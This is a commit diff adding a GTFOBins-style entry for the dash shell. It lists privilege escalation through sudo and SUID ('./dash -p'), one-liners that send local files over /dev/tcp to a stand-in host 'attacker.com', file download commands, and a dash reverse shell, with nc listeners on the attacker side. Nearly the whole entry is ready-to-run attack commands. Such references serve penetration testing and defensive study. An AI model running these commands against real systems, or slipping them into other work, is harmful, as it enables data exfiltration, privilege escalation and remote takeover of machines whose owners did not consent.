Add dash

_gtfobins/dash.md

@@ -0,0 +1,41 @@
+---
+functions:
+  exec-interactive:
+    - code: dash
+  sudo-enabled:
+    - code: sudo dash
+  suid-enabled:
+    - code: ./dash -p
+  upload:
+    - description: Send local file in the body of an HTTP POST request. Run an HTTP service on the attacker box to collect the file.
+      code: |
+        RHOST=attacker.com
+        RPORT=12345
+        LFILE=file_to_send
+        echo -e "POST / HTTP/0.9\n\n$(cat $LFILE)" > /dev/tcp/$RHOST/$RPORT
+    - description: Send local file using a TCP connection. Run `nc -l -p 12345 > "where_to_save"` on the attacker box to collect the file.
+      code: |
+        RHOST=attacker.com
+        RPORT=12345
+        LFILE=file_to_send
+        cat $LFILE > /dev/tcp/$RHOST/$RPORT
+  download:
+    - description: Fetch a remote file via HTTP GET request.
+      code: |
+        RHOST=attacker.com
+        RPORT=12345
+        LFILE=file_to_get
+        (echo -e "GET /$LFILE HTTP/0.9\r\n\r\n" 1>&3 & cat 0<&3) 3<>/dev/tcp/$RHOST/$RPORT | (read i; while [ "$(echo $i | tr -d '\r')" != "" ]; do read i; done; cat) > $LFILE
+    - description: Fetch remote file using a TCP connection. Run `nc -l -p 12345 < "file_to_send"` on the attacker box to send the file.
+      code: |-
+        RHOST=attacker.com
+        RPORT=12345
+        LFILE=file_to_get
+        cat < /dev/tcp/$RHOST/$RPORT > $LFILE
+  reverse-shell:
+    - description: Run `nc -l -p 12345` on the attacker box to receive the shell.
+      code: |
+        RHOST=attacker.com
+        RPORT=12345
+        dash -i >& /dev/tcp/$RHOST/$RPORT 0>&1
+---